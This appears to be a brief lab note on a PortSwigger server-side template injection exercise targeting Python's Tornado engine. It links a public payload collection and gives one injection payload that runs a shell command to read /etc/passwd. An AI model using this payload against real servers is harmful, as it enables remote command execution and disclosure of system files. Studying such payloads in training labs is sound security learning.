2 - Basic server-side template injection (code context)

#portswigger #ssti #python #rce

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Template Injection/Python.md#tornado

__import__('os').popen('cat+/etc/passwd').read()